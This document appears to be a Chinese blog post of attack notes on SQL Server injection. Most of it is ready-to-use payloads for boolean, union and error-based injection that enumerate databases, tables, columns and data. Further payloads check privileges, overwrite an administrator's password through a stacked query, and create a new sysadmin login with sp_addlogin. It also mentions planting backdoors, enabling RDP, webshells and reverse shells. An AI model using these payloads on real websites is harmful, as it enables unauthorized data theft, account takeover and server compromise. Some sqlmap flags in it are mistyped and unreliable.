SQL sever注入

Sqlsever常规操作

  1. access数据库大于100m可能就会运行缓慢,为了应对中小型企业的使用,微软推出

    了sqlserver数据库,用来应对一些大型的数据量。

  2. sqlserver常用于:

    教育网站

    政府网站

    棋牌网站

    游戏网站

  3. 一个企业站一个服务器,有可能是sqlsever

    一个服务器多个企业站,基本上是access

  4. 监听端口:1433
  5. 管理员账号:sa,允许外部连接,可以密码爆破

    数据库文件后缀:.mdf .ldf 下载数据库时两者需要同时下载

  6. 数据库使用
  7. 这四个系统数据库是由dbid号划分的,用户再创建数据库dbid号从5开始

     

    Sqlsever版本向下兼容,如08可以访问05的数据

  8. 数据库删除
  9. 删除数据库先分离,然后进数据库目录删除

  10. 数据库权限

    sa权限:数据库操作,文件管理,命令执行,注册表读取等 =system

    dbo权限:文件管理,数据库操作等 =users-administrators

    public:数据库操作 =guest-users

  11. 调用数据库代码
  12. 在源码中会有明文显示

  13. 数据库账号信息常见的位置:

    conn.asp/aspx

    config

    dbconn

    web.config

如果查看源代码发现不是sa账号,但不一定没有sa权限,进一步测试再下结论

有时sa账号也会存在被降权的处理

 

Sqlsever注入利用

  1. 判断注入的语句

    And 1=1 and1=2

    ' "

    / -0

  2. 初步判断是否是mysql
  3.     And user > 0

  4. 判断数据库系统

    and (select count(*) from sysobjects)>0 判断是否为mysql

    and (select count(*) from msysobjects)>0 判断是否为access

 

下面是布尔盲注的语句,全靠猜,一般用工具跑

Sqlsever常见的注入类型

  1. Bool盲注
  2. Union
  3. union select null,null,null

    替换字符列进行查询数据

    查询数据库:

    ?id=1 union select null,(select name from master.dbo.sysdatabases where dbid=1),null

    查询表名:

    id=1 union select null,(select top 1 name from (select top 1 name from sysobjects where xtype=0x75 order by name) t order by name desc),null

    改变top后的数字来改变查询的第几个表

    查询列名:

    ?id=1 union select null,(select col_name(object_id('表名'),1)),null

    改变表名后的数字来改变查询的第几个列

     

    注意:access使用select from后面要指定表名,但mssql和mysql可以不指定 ,因为用数字在非数字列数据类型不匹配会报错,不像access会 直接爆出来,所以要用null,再用数字替换确定是不是数字列,或 用'null'判断是不是字符列,页面回显正常就是字符列,报错就是数字列。

  4. Error:
  5. 查询数据库版本

    ?id=1 and 1=(select@@version)

    通过报错把想要获取的信息显示出来。

    由于输入id=1是数字类型,后面的语句与数字型不匹配,强制转换会导致报错,从而把查询的信息跟报错信息一起显示出来,也可以?id=@@version

    查询数据库名

    ?id=1 and1 (select db_name())

    ?id=db_name()

    查询表名

    获取第一张表名:

    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

    获取第二张表名?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <>'前一张表名')

    以此类推,除去查过的表继续查询在后面加and name <> '表名'即可

    可以以xml格式输出所有表

    and 1=(select name from sysobjects where xtype='u' for xml path)

    这种可能会被waf拦截

    查询列名

    ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = '表名'))

    同样用and name <> '列名'来依次来爆其他列名

    也可使用xml输出

    ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = '表名') for xml path)

    查询数据

    ?id=1 and 1=(select top 1 列名 from 表名)

  6. 多语句
  7. 时间盲注

Sqlsever不同权限利用

判断权限语句

and 1=(select is_srvrolemember('sysadmin')) :判断是否为sa(系统管理员)权限

and 1=(select is_srvrolemember('db_owner')):判断是否为dbo(库)权限

and 1=(select is_srvrolemember('public')) :判断是否为public权限

页面返回正常说明是你正在测的权限

*Sa权限的利用

  1. 注入用户密码(三种权限都可以)
  2. 修改网站管理员密码:
  3. 应用于管理员密码md5值解不出来

    先备份原md5值

    ?id=1 ;update admin set pass='要设置的密码的md5' where

    admin='管理员用户名'(这里是多语句查询注入)

  4. 直接getshell
  5. 调用系统命令
  6. 创建系统管理员

    注意:08创建用户时限制密码不能用弱口令

     

    操控文件

    操控日志文件

    getshell

    08:

    Echo写入一句话到网站根目录,注意一句话要用^引用

     

  7. 创建sqlserver管理:
  8. exec master.dbo.sp_addlogin test,password:创建一个test账号

    exec master.dbo.sp_addsrvrolemember test,sysadmin:将test账号添加到

    sysadmin中,拥有sa权限

  9. 系统服务操作,停止或启动服务:
  10. exec master..xp_servicecontrol 'stop','schedule'

    exec master..xp_servicecontrol 'start','schedule'

  11. 注册表操作

创建后门

开启3389

 

启用3389之后新建任务调用cmd,可以进行无文件攻击,建立反弹会话

运行Explorer.exe可直接进入系统

Dbowner权限利用

Getshell

可以利用工具

Sqlsever工具使用

Sqlmap:

Sqlmap -u url --current -db 列出当前数据库

Sqlmap -u url --current -user 查看当前用户

Sqlmap -u url --is -dba 判断是否为管理员

posted @ 2023-12-16 19:19  4A16  阅读(68)  评论(0编辑  收藏  举报